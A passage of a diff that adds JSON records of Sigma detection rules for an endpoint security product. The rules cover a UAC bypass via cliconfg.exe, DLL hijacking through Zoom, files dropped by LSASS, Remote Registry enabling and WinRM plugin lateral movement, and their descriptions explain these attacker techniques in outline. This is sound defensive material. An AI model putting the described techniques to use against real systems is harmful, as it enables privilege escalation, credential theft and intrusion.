Image: '?:\\Windows\\System32\\cliconfg.exe'\n        ImageLoaded: '?:\\Windows\\System32\\ntwdblib.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "735f553d-5066-4aed-96ae-b618b9999a75",
+  "rule_name": "UAC Bypass Executed via cliconfg.exe",
+  "rule_description": "Detects the execution of the cliconfg.exe UAC bypass, involving the hijacking of the ntwdblib.dll DLL.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the creation of the library, as well as the library itself to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-10-15",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7365ba1c-29e1-4a14-8451-769ec6fc0393",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296893Z",
+  "creation_date": "2026-03-23T11:45:35.296896Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296902Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1033/",
+    "https://attack.mitre.org/techniques/T1087/001/"
+  ],
+  "name": "t1033_lastlog_linux.yml",
+  "content": "title: Lastlog Execution\nid: 7365ba1c-29e1-4a14-8451-769ec6fc0393\ndescription: |\n    Detects the execution of lastlog, a command used to gather the last login times of all users.\n    Adversaries may use it during the discovery phase to discover new users and services.\n    The information provided by lastlog are read from \"/var/log/lastlog\".\n    It is recommended to investigate the execution context as well as surrounding detections to determine if this action was legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1033/\n    - https://attack.mitre.org/techniques/T1087/001/\ndate: 2023/12/15\nmodified: 2026/02/25\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - attack.t1087.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/lastlog'\n        CommandLine: 'lastlog'\n        # Filter-out missing parents\n        ParentImage|contains: '?'\n\n    exclusion_qualys:\n        Ancestors|contains:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n\n    exclusion_hp:\n        ParentImage: '/opt/OV/lbin/eaagt/opcmona'\n\n    exclusion_lsagent:\n        ParentCommandLine|contains: \"sh -c lastlog | grep -v '*Never logged in'; printf \"\n        GrandparentImage: '/usr/sbin/sshd'\n\n    exclusion_cockpit:\n        - ParentImage: '/usr/bin/cockpit-bridge'\n        - GrandparentImage: '/usr/libexec/cockpit-session'\n\n    exclusion_sosreport:\n        ParentImage: '/usr/bin/timeout'\n        GrandparentCommandLine|contains:\n            - ' /usr/sbin/sosreport'\n            - ' /sbin/sosreport'\n            - ' /usr/sbin/sos report'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|/opt/bmc/bladelogic/RSCD/bin/rscd_full|'\n            - '|/opt/bmc/bladelogic/RSCD/sbin/bldeploy|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7365ba1c-29e1-4a14-8451-769ec6fc0393",
+  "rule_name": "Lastlog Execution",
+  "rule_description": "Detects the execution of lastlog, a command used to gather the last login times of all users.\nAdversaries may use it during the discovery phase to discover new users and services.\nThe information provided by lastlog are read from \"/var/log/lastlog\".\nIt is recommended to investigate the execution context as well as surrounding detections to determine if this action was legitimate.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-02-25",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1087.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "736eb5a5-5ffc-4053-ab85-8177f25877ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621184Z",
+  "creation_date": "2026-03-23T11:45:34.621186Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621190Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-3/",
+    "https://car.mitre.org/analytics/CAR-2014-11-005/",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_remote_registry_enabled.yml",
+  "content": "title: Remote Registry Service Enabled via Registry\nid: 736eb5a5-5ffc-4053-ab85-8177f25877ae\ndescription: |\n    Detects when the Remote Registry Service is enabled via a registry modification.\n    This service is disabled by default on workstations (starting with Windows 8) and enabled on servers.\n    An adversary can remotely manipulate the registry of another machine if the Remote Registry service is enabled and valid credentials are obtained.\n    It can be used by an attacker to prepare a lateral movement technique, discover the configuration of a host, achieve persistence, or anything that aids an adversary in achieving their objective.\n    It is recommended to analyze the authentications and network activity around this alert to determine the user and host responsible for this action and to determine whether this action is legitimate.\nreferences:\n    - https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-3/\n    - https://car.mitre.org/analytics/CAR-2014-11-005/\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2023/09/13\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\RemoteRegistry\\Start'\n\n    filter_disabled:\n        Details: 'DWORD (0x00000004)' # SERVICE_DISABLED\n\n    # This is handled by the rule 6624dc1b-2cc0-4936-b502-8f6ec161ba8e\n    # This anoter rule allows to identify the real process enabling the service\n    filter_service:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_trendmicro:\n        ProcessOriginalFileName: 'housecall.ATTK.exe'\n        ProcessSignature: 'Trend Micro, Inc.'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "736eb5a5-5ffc-4053-ab85-8177f25877ae",
+  "rule_name": "Remote Registry Service Enabled via Registry",
+  "rule_description": "Detects when the Remote Registry Service is enabled via a registry modification.\nThis service is disabled by default on workstations (starting with Windows 8) and enabled on servers.\nAn adversary can remotely manipulate the registry of another machine if the Remote Registry service is enabled and valid credentials are obtained.\nIt can be used by an attacker to prepare a lateral movement technique, discover the configuration of a host, achieve persistence, or anything that aids an adversary in achieving their objective.\nIt is recommended to analyze the authentications and network activity around this alert to determine the user and host responsible for this action and to determine whether this action is legitimate.\n",
+  "rule_creation_date": "2023-09-13",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "73880030-9535-4813-a1fb-855b5c356e40",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.596895Z",
+  "creation_date": "2026-03-23T11:45:34.596898Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596906Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_zoom.yml",
+  "content": "title: DLL Hijacking via Zoom.exe\nid: 73880030-9535-4813-a1fb-855b5c356e40\ndescription: |\n    Detects potential Windows DLL Hijacking via Zoom.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'Zoom'\n        ProcessSignature: 'Zoom Video Communications, Inc.'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "73880030-9535-4813-a1fb-855b5c356e40",
+  "rule_name": "DLL Hijacking via Zoom.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Zoom.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "73bb710a-a580-407e-bcb8-8d438b2105a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628048Z",
+  "creation_date": "2026-03-23T11:45:34.628050Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628054Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/",
+    "https://github.com/gentilkiwi/mimikatz"
+  ],
+  "name": "t1003_001_lsass_dropping_file.yml",
+  "content": "title: File Dropped by LSASS Process\nid: 73bb710a-a580-407e-bcb8-8d438b2105a2\ndescription: |\n    Detects when a file is written to disk by the Local Security Authority Subsystem Service (LSASS) process.\n    The LSASS process is responsible for authentications in Windows.\n    Adversaries may attempt to access credential material stored in the LSASS' process memory.\n    A file dropped by the LSASS process could be the result of credential theft.\n    It is recommended to investigate processes loaded before LSASS dropped this file as well as to download the dropped file for analysis.\n    If this activity is recurrent in your environment and you've determined its legitimacy, it is highly recommended to whitelist the concerned path.\nreferences:\n    - https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/\n    - https://github.com/gentilkiwi/mimikatz\ndate: 2023/03/28\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Image: '?:\\Windows\\System32\\lsass.exe'\n        MinimalStackTrace: '?*' # Enforce stacktrace presence\n\n    # This is handled by the rule 02b0f6f4-476e-4b12-8067-6fbac9b0fc30\n    filter_unknown:\n        MinimalStackTrace|endswith: '|UNKNOWN'\n\n    filter_knwon_ssp:\n        MinimalStackTrace|contains:\n            - '|aadcloudap.dll|'\n            - '|CertPolEng.dll'\n            - '|cloudAP.dll|'\n            - '|cps3_pkcs11_w64.dll|'\n            - '|cryptnet.dll|'\n            - '|dpapisrv.dll|'\n            - '|dsreg.dll|laps.dll|'\n            - '|dsrolesrv.dll|'\n            - '|efscore.dll|'\n            - '|ElPassFilt.dll|'\n            - '|esent.dll|'\n            - '|idoMinidriverIAS.dll|'\n            - '|lsasrv.dll|'\n            - '|McAfeeTrueKeyPasswordFilter.dll|'\n            - '|ncryptprov.dll|'\n            - '|netlogon.dll|'\n            - '|passhook.dll|'\n            - '|passwdhk.dll|'\n            - '|PCPKsp.dll|'\n            - '|rpcrt4.dll|'\n            - '|scecli.dll|'\n            - '|schannel.dll'\n            - '|SFAPM.dll|'\n            - '|SppFilter.dll|'\n            - '|vaultsvc.dll|'\n            - '|webio.dll|'\n            - '|Windows.Security.Authentication.Web.Core.dll|'\n            - '|wsauth.dll|'\n\n    exclusion_crypt:\n        MinimalStackTrace|endswith: '|crypt32.dll'\n\n    exclusion_unknown:\n        MinimalStackTrace: 'ntdll.dll|*|UNKNOWN|UNKNOWN|UNKNOWN|*|kernel32.dll|ntdll.dll'\n\n    exclusion_ntdll:\n        MinimalStackTrace: 'ntdll.dll'\n\n    exclusion_access_failed:\n        MinimalStackTrace|contains: 'ACCESS_FAILED|'\n\n    exclusion_dcagent:\n        MinimalStackTrace|contains: '|dcagent.dll|'\n        Path:\n            - '?:\\dcagentlog.txt'\n            - '?:\\Program Files\\Fortinet\\FSAE\\dcagentlog.txt'\n\n    exclusion_ntfrsapi:\n        MinimalStackTrace|contains:\n            - '|ntfrsapi.dll|'\n            - '|dfsrapi.dll|'\n        Path|contains:\n            - '\\DfsrApi*.log'\n            - '\\DfsrApi*.log.gz'\n\n    exclusion_netlogon:\n        Path: '?:\\Windows\\System32\\config\\netlogon.ftl'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "73bb710a-a580-407e-bcb8-8d438b2105a2",
+  "rule_name": "File Dropped by LSASS Process",
+  "rule_description": "Detects when a file is written to disk by the Local Security Authority Subsystem Service (LSASS) process.\nThe LSASS process is responsible for authentications in Windows.\nAdversaries may attempt to access credential material stored in the LSASS' process memory.\nA file dropped by the LSASS process could be the result of credential theft.\nIt is recommended to investigate processes loaded before LSASS dropped this file as well as to download the dropped file for analysis.\nIf this activity is recurrent in your environment and you've determined its legitimacy, it is highly recommended to whitelist the concerned path.\n",
+  "rule_creation_date": "2023-03-28",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "73e08a31-0ad6-4cdb-bbba-777eb209030f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610396Z",
+  "creation_date": "2026-03-23T11:45:34.610400Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610407Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_unprivileged_process_spawning_system_process.yml",
+  "content": "title: Unprivileged Process Spawning SYSTEM-privileged Process\nid: 73e08a31-0ad6-4cdb-bbba-777eb209030f\ndescription: |\n    Detects unprivileged processes spawning privileged processes.\n    This can be indicative of Windows kernel or third-party driver exploitation for privilege escalation.\n    It is recommended to investigate the process launched with SYSTEM privileges to look for malicious contents.\nreferences:\n    - https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2022/09/07\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Exploitation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        IntegrityLevel: 'System'\n        User: 'NT AUTHORITY\\SYSTEM'\n        ParentIntegrityLevel:\n            - 'Low'\n            - 'Medium'\n\n    exclusion_conhost:\n        ProcessCommandLine:\n            - '\\\\\\?\\?\\\\?:\\windows\\system32\\conhost.exe 0xffffffff -ForceV1'\n            - '\\\\\\?\\?\\\\?:\\Windows\\system32\\conhost.exe 0xffffffff'\n            - '\\\\\\?\\?\\\\?:\\WINDOWS\\system32\\conhost.exe 0x4'\n\n    exclusion_werfault_1:\n        # ?:\\windows\\system32\\WerMgr.exe -datacollectorcreate 11556 1196\n        ProcessImage:\n            - '?:\\Windows\\System32\\wermgr.exe'\n            - '?:\\Windows\\Syswow64\\wermgr.exe'\n        ProcessCommandLine|contains: '-datacollectorcreate'\n        # werfault.exe /hc /shared Global\\0392bf7f15864fb5906be16f2af3f3b0 /t 10276 /p 9788\n        ProcessParentCommandLine|contains|all:\n            -  '/shared '\n            - ' Global'\n        ProcessGrandparentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_werfault_2:\n        Image:\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\Syswow64\\WerFault.exe'\n        CommandLine|contains|all:\n            - ' -pss '\n            - ' -s '\n            - ' -p '\n            - ' -ip '\n\n    exclusion_siemens:\n        # C:\\Program Files\\Siemens\\Automation\\AWB_V2\\host\\awb\\server\\dist\\node.exe\n        # C:\\Program Files\\Siemens\\Automation\\TIAADMIN\\server\\node.exe\n        ProcessImage: '?:\\Program Files\\Siemens\\Automation\\\\*\\node.exe'\n        ProcessParentImage: '?:\\Program Files\\Siemens\\Automation\\\\*\\node.exe'\n        ProcessGrandparentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ivanti:\n        ProcessImage: '?:\\Program Files (x86)\\Ivanti\\EPM Agent\\CommonMonitor\\collector.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "73e08a31-0ad6-4cdb-bbba-777eb209030f",
+  "rule_name": "Unprivileged Process Spawning SYSTEM-privileged Process",
+  "rule_description": "Detects unprivileged processes spawning privileged processes.\nThis can be indicative of Windows kernel or third-party driver exploitation for privilege escalation.\nIt is recommended to investigate the process launched with SYSTEM privileges to look for malicious contents.\n",
+  "rule_creation_date": "2022-09-07",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7420063d-e8f8-4eb6-bcd4-1fb8c0d6f69d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624409Z",
+  "creation_date": "2026-03-23T11:45:34.624411Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624415Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://falconforce.nl/exploring-winrm-plugins-for-lateral-movement/",
+    "https://github.com/FalconForceTeam/bof-winrm-plugin-jump",
+    "https://attack.mitre.org/techniques/T1547/",
+    "https://attack.mitre.org/techniques/T1021/006/"
+  ],
+  "name": "t1021_006_winrm_plugin.yml",
+  "content": "title: WinRM Plugins Lateral Movement\nid: 7420063d-e8f8-4eb6-bcd4-1fb8c0d6f69d\ndescription: |\n    Detects a suspicious WinRM plugin remote creation.\n    WinRM offers an API to accept third-party plugins. These plugins consist of DLLs that need to be located in the System32 folder.\n    They are stored in the registry under the key \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN\\Plugin\".\n    Threat actors can remotely create a WinRM plugin pointing to a malicious DLL using the registry remote service or COM programming.\n    Restarting the WinRM service will make wmsprovhost.exe (the process spawned by the WinRM service) load the DLL.\n    It is recommended to investigate the IP address from where the registry value was modified and the libraries loaded by wmsprovhost.exe for suspicious activities.\nreferences:\n    - https://falconforce.nl/exploring-winrm-plugins-for-lateral-movement/\n    - https://github.com/FalconForceTeam/bof-winrm-plugin-jump\n    - https://attack.mitre.org/techniques/T1547/\n    - https://attack.mitre.org/techniques/T1021/006/\ndate: 2025/01/21\nmodified: 2025/12/02\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.006\n    - attack.persistence\n    - attack.t1547\n    - classification.Windows.Source.Registry\n    - classification.Windows.HackTool.WinRMPluginJump\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_registry_value:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN\\Plugin\\\\*\\ConfigXML'\n\n    selection_remote:\n        - SessionLogonType: 3\n        - ProcessSessionLogonType: 3 # Network Session\n\n    exclusion_legit_plugins:\n        Details|contains:\n            - 'Filename=\"%windir%\\system32\\pwrshplugin.dll\"'\n            - 'Filename=\"C:\\WINDOWS\\system32\\pwrshplugin.dll\"'\n            - 'Filename=\"%windir%\\system32\\PowerShell\\7.?.?\\pwrshplugin.dll\"'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7420063d-e8f8-4eb6-bcd4-1fb8c0d6f69d",
+  "rule_name": "WinRM Plugins Lateral Movement",
